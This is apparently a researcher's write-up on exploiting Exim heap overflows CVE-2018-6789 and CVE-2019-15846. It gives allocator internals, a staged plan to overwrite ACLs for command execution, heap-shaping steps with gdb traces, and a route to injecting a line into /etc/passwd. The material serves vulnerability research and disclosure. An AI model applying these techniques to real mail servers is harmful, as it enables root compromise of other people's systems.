Scraps of Notes on Exploiting Exim Vulnerabilities
In their report, they even claim that they do have a PoC granting a remote attacker root privileges. The report was followed by instant alarmist articles: "Millions of Exim servers vulnerable to ..."
Back in 2018, we quite successfully developped a PoC (that was never released) for another vulnerability (CVE-2018-6789) in Exim from the well detailed post published by Devcore. So, we decided to do the same with the newly disclosed vulnerability.
In this post, we present an overview on Exim internals from the exploitability point of view. We then present our notes on exploiting both vulnerabilities along with the PoC.
Exim Processes
There are four main processes in Exim:
-
The daemon process listen for incoming SMTP connections. The daemon starts a new reception process per SMTP connection. The daemon is usually started with option -q in which case the daemon starts a queue runner process at intervals specified by the given time value (e.g. -q30m starts a queue runner process every 30 minutes).
-
The reception process accepts an incoming message and stores it in the spool directory (
/var/spool/exim/input
). A message consists of two files: -H (message envelope) and -D (message body). The reception process initiates immediate delivery by spawning a new process unless instructed otherwise. If the optionqueue_only
is enabled, messages are placed in the spool directory without any attempt to deliver it automatically. -
The queue runner process iterates over message files in the spool directory and starts a delivery process for each of them.
-
The delivery process performs remote/local delivery of a single message. The delivery process runs as root which makes it an interesting target.
Exim Pool Allocator
Exim maintains several allocation pools. The POOL_PERM
holds allocations that survive as long as the process exists. For instance, configuration options and ACLs are stored there. The POOL_MAIN
holds dynamic allocations that can be freed. Finally, there is a separate pool, POOL_SEARCH
, that is used for lookup storage.
A pool is a linked list of storeblock
(see below) that are dynamically allocated. The minimum size of a storeblock
is 0x2000. When Exim requests some amount of memory, it checks if there is enough room in the current block to fulfill that request. A new storeblock
is allocated whenever there is not enough space left in the current block.
Exim pools are managed through a set of routines defined in store_in.c
:
store_malloc
andstore_free
: wrappers for malloc and free, respectively.store_get
: returns a pointer within the currentstoreblock
if there is enough space left in the current block. A newstoreblock
is allocated otherwise.store_reset
: sets theyield
pointers to the store reset point and frees any subsequentstoreblock
. As we will see later, this function is useful from the exploitation perspective.store_release
: this function acts as a reallocation function.store_extend
: this function is helpful if the data to be extended is at the top of thestoreblock
. This avoids an extra allocation/copy.
Exim Heap-based Overflow Exploitation
Assuming, we have a heap-based overflow in Exim, one can rely on the technique used by @mehqq_'s blogpost in order to get code execution.
ACLs
ACLs (Access Control List) are defined in the configuration file and are used to control the behavior of Exim upon reception of some SMTP messages. For instance, one can define specific checks whenever a MAIL FROM
command is received by setting accordingly acl_smtp_mail option. These options are expanded and commands defined by ${run{cmd}}
are evaluated when encountered by Exim.
ACLs are defined as global pointers referencing data loaded into storeblock
from the POOL_PERM
. Overrinding the content of ACLs leads to immediate code execution.
From Heap-based Overflow to UAF
The goal here is to overlap the next pointer of an allocated storeblock
and link it to the storeblock
that contains ACLs. If later, the storeblock
chain gets reset (by sending for instance a new HELO
command), the block containing the ACL is freed and we can get it back by sending new commands.
This scenario requires five stages:
-
Shape the heap so that we get two contiguous
storeblock
: the vulnerablestoreblock
(from which we overflow) and the targetstoreblock
. -
Trigger overflow from the freshly freed chunk and corrupt the next pointer of an already allocated
storeblock
so that it points to thestoreblock
containing the ACLs. Please note that this requires a reasonable amount of brute forcing since bothstoreblock
(hijackedstoreblock
and ACLstoreblock
) are located in the heap.
-
Release the
storeblock
holding ACLs by sending a newHELO
command: the wholestoreblock
chain is released. -
Get back the ACL
storeblock
by sending multipleAUTH
commands for instance and override theacl_smtp_mail
content. -
Trigger code execution by sending a
MAIL_FROM
command.
CVE-2018-6789
The bug was present in the b64decode
function in base64.c
. The base64 decoding function miscalculates the length of the buffer that will store the decoded data. This leads to an off-by-one heap-based overflow. From there, one can use the classic techniques to overlap a chunk by shrinking/extending its size (i.e. corrupting of the chunk size field).
We will not present here the full steps towards the exploitation of CVE-2018-6789 as they were explained in the original post by @mehqq_ and are well documented in the PoC listed hereafter.
We will simply cover some specificities of Exim that could be used to shape the heap to our needs. Our goal is to reach the heap state depicted by the following figure and prior to chunk size corruption.
-
The "working" space could be created by sending the sequence [undefined command + HELO command] twice. Unrecognized commands trigger
storeblock
allocation during error reporting whileHELO
commands reset the previously allocatedstoreblock
chain. Note that Exim limits the number of unknown commands to three. -
The top chunk is allocated using AUTH command.
Once the above state is reached, we trigger the overflow by sending an AUTH CRAM-MD5
command to enlarge the size of the chunk in the middle of our workspace. Then, we can force the middle chunk to be freed without restoring the whole storeblock
chain by sending a HELO
command followed by an invalid name (e.g. HELO a+). This allows to break early from the HELO
command handling code and thus avoiding the call to smtp_reset
.
Finally, we send a new AUTH command larger than the previously freed chunk: the top chunk is overlapped.
From there, we can follow the steps 3-5 presented in the previous section to get code execution.
Exploit is available on our Github.
CVE-2019-15846
Understanding the vulnerability
Exim has been vulnerable to a heap-based overflow up until 4.92.1. CVE-2019-15846 has been reported by Zerons on 2019-07-21, analysed by Qualys and then disclosed on 2019-09-06.
This vulnerability is located in string_interpret_escape when it is called by string_unprinting
. It has been fixed with this commit.
diff --git a/src/src/string.c b/src/src/string.c
index 5e48b445c..c6549bf93 100644
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -224,6 +224,8 @@ interpreted in strings.
Arguments:
pp points a pointer to the initiating "\" in the string;
the pointer gets updated to point to the final character
+ If the backslash is the last character in the string, it
+ is not interpreted.
Returns: the value of the character escape
*/
@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789abcdef";
int ch;
const uschar *p = *pp;
ch = *(++p);
+if (ch == '\0') return **pp;
if (isdigit(ch) && ch != '8' && ch != '9')
{
ch -= '0';
As the name suggests string_interpret_escape aims at interpreting escape sequences. For example, \x62
will be converted to b
.
string_unprinting uses that function in order to convert an input string into an unescaped output string. The output string is first allocated using the Exim memory allocator:
len = Ustrlen(s) + 1;
ss = store_get(len);
The vulnerability lies in the fact that string_unprinting will read input string until a NULL byte is found. When string_interpret_escape is called, it will move forward the buffer pointer but then string_unprinting will move it again. Thus, it will jump over the char following backslash which results in a copy beyond the limit of the output buffer.
while (*p)
{
if (*p == '\\')
{
*q++ = string_interpret_escape((const uschar **)&p);
p++;
}
[...]
}
The following figure illustrates the heap-based overflow:
Note that, the NULL byte is copied into the output buffer even if it's not used to stop processing the input buffer.
In order to exploit this vulnerability, the two buffers (input and output), must be aligned to ensure that there is no trailing NULL bytes in between except the NULL byte terminating the input buffer. More precisely, we have to take care about the store_get
that aligns data in a storeblock
on an 8-byte boundary.
Finally, both buffers must belong to the same storeblock
to overflow with more than few bytes. Depending on the shape of the heap when string_unprinting
is called, the input buffer can be quite limited in size.
Nevertheless, there is virtually no limit to the amount of data that can be overridden. The read pointer will read the data that have just been written. In order to avoid stopping at the first copy of the original NULL byte it is possible to prepend it with more backslashes. Thus any address after the output buffer can be reached.
Moreover, it is possible to override with NULL bytes by encoding them with \x00
.
Exploitation
In order to exploit this vulnerability, Qualys stated that they used a specially crafted SNI with a trailing backslash. This SNI ends up in an Exim spool file written by the reception process of Exim and read by the delivery process. When the delivery process of Exim reads this spool file in spool_read_header, it calls the vulnerable function string_unprinting.
Each mail processed by Exim is attributed an ID. This ID is used in the spool file name, the logs, etc.
Qualys stated that they exploited the heap-based overflow to override a message ID that is used to build the log file name. The log file is populated at some point by the sender address. By overriding the message ID with "../../../../../../etc/passwd", they managed to add a new user to the targeted system.
We propose to give a deeper analysis of this path to the vulnerable function. As stated, spool_read_header
is used to parse the spool header files of Exim. This header files are stored in /var/spool/exim4/input/. Each received mail will generate 2 spool files. Each are named after the message ID. The first one is appended with -D and contains the message body. The second one is appended with -H and contains various metadata including the SNI.
spool_read_header is called multiple times. The only path we found to be exploitable is when called in deliver_message. This path is reachable in two different processes exim -Mc and exim -q. The first one corresponds to direct message delivery at reception while the second one corresponds to a background task invoked by the queue runner process.
In order to exploit the vulnerability, we targeted the queue runner process. In this process, the message ID is stored in the heap, while on the delivery process run by exim -Mc the ID is on the stack.
Unfortunately, these two processes are clean fork+exec of the main Exim daemon and they have no other interaction than reading the spool files. Thus, shaping the heap isn't as easy as for CVE-2018-6789.
PoC
In order to reproduce the issue, it's possible to simply install a debian 9 (oldstable) with exim4 as found in the snapshot repository before the fix was released.
root@strech:~# cat /etc/apt/sources.list
deb http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
deb-src http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
Note that since 2017, GNUTLS has added security check on SNI values. Thus, this vulnerability isn't exploitable anymore when Exim is linked against GNUTLS version > 3.6.0.
In order to easily test the exploitation, it is possible to simply create these two files and run the Exim queue runner manually.
cp 1i7Jgy-0002dD-Pb-D /var/spool/exim4/1i7Jgy-0002dD-Pb-D
cp 1i7Jgy-0002dD-Pb-H /var/spool/exim4/1i7Jgy-0002dD-Pb-H
/usr/sbin/exim4 -q
Then, by breaking on string_unprinting, it is possible to:
- ensure the overflow can be triggered
- get an idea of the shape of the heap at the time of the overflow
- look for the message ID on the heap.
gdb --args /usr/sbin/exim4 -q
gef➤ set follow-fork-mode child
gef➤ b string_unprinting
Breakpoint 1 at 0x5600d5924540: file string.c, line 355.
gef➤ r
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x562b1a097790 "abcdef\\") at string.c:355
gef➤ n
[... step until interesting stuff ...]
gef➤ p s
$1 = (uschar *) 0x562b1a097790 "abcdef\\"
gef➤ p len
$2 = 0x8
gef➤ p ss
$4 = (uschar *) 0x562b1a097798 ""
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x562b1a0975e0, size=0x2020, flags=PREV_INUSE)
[0x0000562b1a0975e0 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x562b1a099600, size=0x1010, flags=PREV_INUSE)
[0x0000562b1a099600 31 69 37 4a 67 79 2d 30 30 30 32 64 44 2d 50 62 1i7Jgy-0002dD-Pb]
Chunk(addr=0x562b1a09a610, size=0x1fa00, flags=PREV_INUSE) ← top chunk
The input and output buffer are inside a chunk of 0x2020 bytes. The following chunk (0x1010) has been allocated by fgets
while reading the header file. Nothing that can obviously be used to gain code execution.
Then it's possible to search for the message ID:
gef➤ grep 1i7Jgy-0002dD-Pb
[+] Searching '1i7Jgy-0002dD-Pb' in memory
[+] In (0x562b1a009000-0x562b1a00d000), permission=rw-
0x562b1a00abb1 - 0x562b1a00abd6 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a00ae92 - 0x562b1a00aea2 → "1i7Jgy-0002dD-Pb"
[+] In '[heap]'(0x562b1a05a000-0x562b1a0ba000), permission=rw-
0x562b1a097609 - 0x562b1a097619 → "1i7Jgy-0002dD-Pb"
0x562b1a097641 - 0x562b1a097653 → "1i7Jgy-0002dD-Pb-H"
0x562b1a097663 - 0x562b1a097688 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a0976a9 - 0x562b1a0976bb → "1i7Jgy-0002dD-Pb-D"
0x562b1a0976c0 - 0x562b1a0976d2 → "1i7Jgy-0002dD-Pb-H"
0x562b1a0976f1 - 0x562b1a097703 → "1i7Jgy-0002dD-Pb-H"
0x562b1a099600 - 0x562b1a099637 → "1i7Jgy-0002dD-Pb-H\nDebian-exim 103 114\n<redacted[...]"
0x562b1a099c16 - 0x562b1a099c4d → "1i7Jgy-0002dD-Pb\n\tfor redacted@redacted.com; Mon[...]"
0x562b1a099c8d - 0x562b1a099cc4 → "1i7Jgy-0002dD-Pb@redacted>\n022F From: redacted@re[...]"
[+] In '[stack]'(0x7fff8da2e000-0x7fff8dab0000), permission=rw-
0x7fff8da65ae9 - 0x7fff8da65afb → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65bb0 - 0x7fff8da65bc2 → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65eb9 - 0x7fff8da65ecb → "1i7Jgy-0002dD-Pb-H"
The only message ID that could be used to override a file is in the heap but not reachable during the overflow of the output buffer.
Finally, it's possible to ensure the overflow is working.
gef➤ fin
Run till exit from #0 string_unprinting (s=0x5600d6a60790 "abcdef\\") at string.c:366
gef➤ x/16bx 0x5600d6a60798
0x5600d6a60798: 0x61 0x62 0x63 0x64 0x65 0x66 0x00 0x61
0x5600d6a607a0: 0x62 0x63 0x64 0x65 0x66 0x00 0x00 0x00
We can see that the input string of 8 chars has been copied twice.
Shaping the heap
A detailed analysis of the state of the heap when the vulnerability is reached in the queue runner is required in order to find a viable exploitation.
The main idea to exploit the vulnerability is to shape the heap so that the two buffers (input and output) are allocated in a previously freed chunk. This way, the targeted message ID could be reachable during the buffer overflow. To do so the freed chunk must be at least STORE_BLOCK_SIZE 0x2000
which is the minimum size of the storeblock
.
big_buffer
is a buffer used to store temporarily lines of the spool files. big_buffer
could be a good target. If it happens to be reallocated then a quite big chunk will be freed on the heap. Unfortunately, the mechanism in Exim to handle such a reallocation is bugged and doesn't free the old big_buffer
.
while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
&& big_buffer[len-1] != '\n'
)
{ /* buffer not big enough for line; certs make this possible */
uschar * buf;
if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
buf = store_get_perm(big_buffer_size *= 2);
memcpy(buf, big_buffer, --len);
big_buffer = buf;
if (Ufgets(big_buffer+len, big_buffer_size-len, f) == NULL)
goto SPOOL_READ_ERROR;
}
When the queue runner process walk over the spool files in queue_get_spool_list
it uses readdir
. readdir
allocates an internal buffer resulting in a chunk of 0x8030. It is then freed when calling closedir
. Fortunately, for each file queue_get_spool_list
also requests 0x22 bytes from the current storeblock
.
Consequently, if it is possible to force the allocation of a new storeblock
by ensuring there is enough files in /var/spool/exim4/input/
. Then a gap will be created in the heap.
The remaining space in the current_block[0]
can be found in yield_length[0]
.
gef➤ b opendir
Breakpoint 1 at 0x55b87b85e468
gef➤ c
Continuing.
Breakpoint 1, 0x00007f81aebc49a0 in opendir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ p yield_length[0]
$1 = 0x1ff0
Creating at least 205 spool files is enough to ensure a gap is created in our test scenario.
Moreover, the data that will be after the gap will precisely be the message ID used to create the log file.
gef➤ b closedir
Breakpoint 1 at 0x55dcb4d13898
gef➤ c
Continuing.
Breakpoint 1, 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ fin
Run till exit from #0 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55dcb6d6d5e0, size=0x2020, flags=PREV_INUSE)
[0x000055dcb6d6d5e0 40 76 d7 b6 dc 55 00 00 00 20 00 00 00 00 00 00 @v...U... ......]
Chunk(addr=0x55dcb6d6f600, size=0x8040, flags=PREV_INUSE)
[0x000055dcb6d6f600 58 2b 2b b0 b8 7f 00 00 58 2b 2b b0 b8 7f 00 00 X++.....X++.....]
Chunk(addr=0x55dcb6d77640, size=0x2020, flags=)
[0x000055dcb6d77640 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55dcb6d79660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
In order to finalize the exploitation, it's required to ensure that the SNI is allocated in the gap. To do so, the current_block[0]
must be filled with something, so that when allocating the SNI a new storeblock
will be allocated.
Breaking in string_unprinting
and computing the remaining space in current_block[0]
:
gef➤ b string_unprinting
Breakpoint 1 at 0x55d401799540: file string.c, line 355.
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 3, string_unprinting (s=0x55d4039d6990 'a' <repeats 3194 times>, "\\") at string.c:355
gef➤ p yield_length[0]
$1 = 0x1e68
There is a few allocations that are done before SNI, the most interesting being helo_name
.
int
spool_read_header(uschar *name, BOOL read_headers, BOOL subdir_set)
{
[... skip uninteresting lines ...]
else if (Ustrncmp(p, "elo_name", 8) == 0)
sender_helo_name = string_copy(big_buffer + 11);
Filling current_block[0]
is quite easy with helo_name
. Nevertheless, the newly allocated storeblock
must have either enough room to store both input and output SNI or not enough to store any of them. Thus choosing an helo_name
greatly larger than default storeblock
size, is a good solution.
Note that depending on which ID is targeted the queue runner might allocate multiple small buffer that will be placed before the helo_name
.
/* Check that the message still exists */
message_subdir[0] = f->dir_uschar;
if (Ustat(spool_fname(US"input", message_subdir, f->text, US""), &statbuf) < 0)
continue;
The goal is to get the following shaping:
Here is a summary of the constraints on helo_name
:
- bigger than the remaining space in current_block[0]
- smaller than the gap minus the size of the two SNI
- store block containing the
helo_name
should be full in order to ensure both SNI are contiguous - ensure SNI are contiguous to top chunk so overflow doesn't override other data
- smaller than 0x4000 due to a bug in
big_buffer
reallocation
Note that the exploitation of the vulnerability has to be valid for the message ID that is in the overriding chunk. Given that each loop in queue_run
will change the heap, it's important to know when the overridden ID will be delivered. queue_get_spool_list
will list spool files in a pseudo-random order if queue_run_in_order
is not set. Then, the overriding ID will either be the first or the last to be delivered.
/* Handle the creation of a randomized list. The first item becomes both
the top and bottom of the list. Subsequent items are inserted either at
the top or the bottom, randomly. This is, I argue, faster than doing a
sort by allocating a random number to each item, and it also saves having
to store the number with each item. */
Choosing a correct length of helo_name
gives the following shape of the heap:
gef➤ b closedir
Breakpoint 1 at 0x556862b9b898
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $ID = ((char *)current_block[0]) + 0x19
>c
>end
gef➤ b queue.c:645 if (int)strcmp(f->text, $ID) == 0
Breakpoint 2 at 0x564f9a43418a: file queue.c, line 647.
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set follow-fork-mode child
>b string_unprinting
>c
>end
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x558589a70660 "abcdef\\") at string.c:355
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55ee971d75e0, size=0x2020, flags=PREV_INUSE)
[0x000055ee971d75e0 40 16 1e 97 ee 55 00 00 00 20 00 00 00 00 00 00 @....U... ......]
Chunk(addr=0x55ee971d9600, size=0x2020, flags=PREV_INUSE)
[0x000055ee971d9600 30 c6 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 0....U... ......]
Chunk(addr=0x55ee971db620, size=0x1010, flags=PREV_INUSE)
[0x000055ee971db620 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb]
Chunk(addr=0x55ee971dc630, size=0x2ff0, flags=PREV_INUSE)
[0x000055ee971dc630 20 f6 1d 97 ee 55 00 00 d8 2f 00 00 00 00 00 00 ....U.../......]
Chunk(addr=0x55ee971df620, size=0x2020, flags=PREV_INUSE)
[0x000055ee971df620 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55ee971e1640, size=0x2020, flags=PREV_INUSE)
[0x000055ee971e1640 00 96 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 .....U... ......]
Chunk(addr=0x55ee971e3660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
gef➤ p current_block[0]
$1 = (storeblock *) 0x55ee971df620
gef➤ x/s 0x55ee971e1640 + 0x19
0x55ee971e1659: "16aJgy-baaaad-Pb"
Finally, the SNI has to be computed in order to fill the remaining free chunk and to override the message ID. All constraints and computations are available in exgen.py.
Unfortunately, overriding the message ID will also override the corresponding storeblock
header. Consequently it will break the store_reset
. In order to have a clean exploit this problem should be solved first.
Anyway, Exim will then write a log to a file named with the targeted id.
/* Open the message log file if we are using them. This records details of
deliveries, deferments, and failures for the benefit of the mail administrator.
The log is not used by Exim itself to track the progress of a message; that is
done by rewriting the header spool file. */
if (message_logs)
{
uschar * fname = spool_fname(US"msglog", message_subdir, id, US"");
uschar * error;
int fd;
if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't %s message log %s: %s", error,
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
/* Make a C stream out of it. */
if (!(message_log = fdopen(fd, "a")))
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't fdopen message log %s: %s",
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
}
When the message has been successfuly delivered a log is written with the destination address in it.
if (!addr->parent)
deliver_msglog("%s %s: %s%s succeeded\n", now, addr->address,
driver_name, driver_kind);
else
{
deliver_msglog("%s %s <%s>: %s%s succeeded\n", now, addr->address,
addr->parent->address, driver_name, driver_kind);
child_done(addr, now);
}
Here it's possible to forge a valid password line and thus to get an access to the host.
Finally, Exim will unlink or rename the log file after the mail has been delivered to all recipients. Thus, targeting /etc/passwd
doesn't seems to be the best choice.
Ending Note
In this post we have seen the fundamentals of Exim that are required to successfully exploit a heap overflow. Then, we have shown how we could use them for two different vulnerabilities.
Moreover, the techniques used to exploit CVE-2018-6789 may apply to exploit the freshly disclosed heap-based overflow CVE-2019-16928 that is triggered by sending a long HELO
command.
Our PoC are both available on our Github. Fill free to drop us an e-mail if you have used a different approach to exploit these vulnerabilities.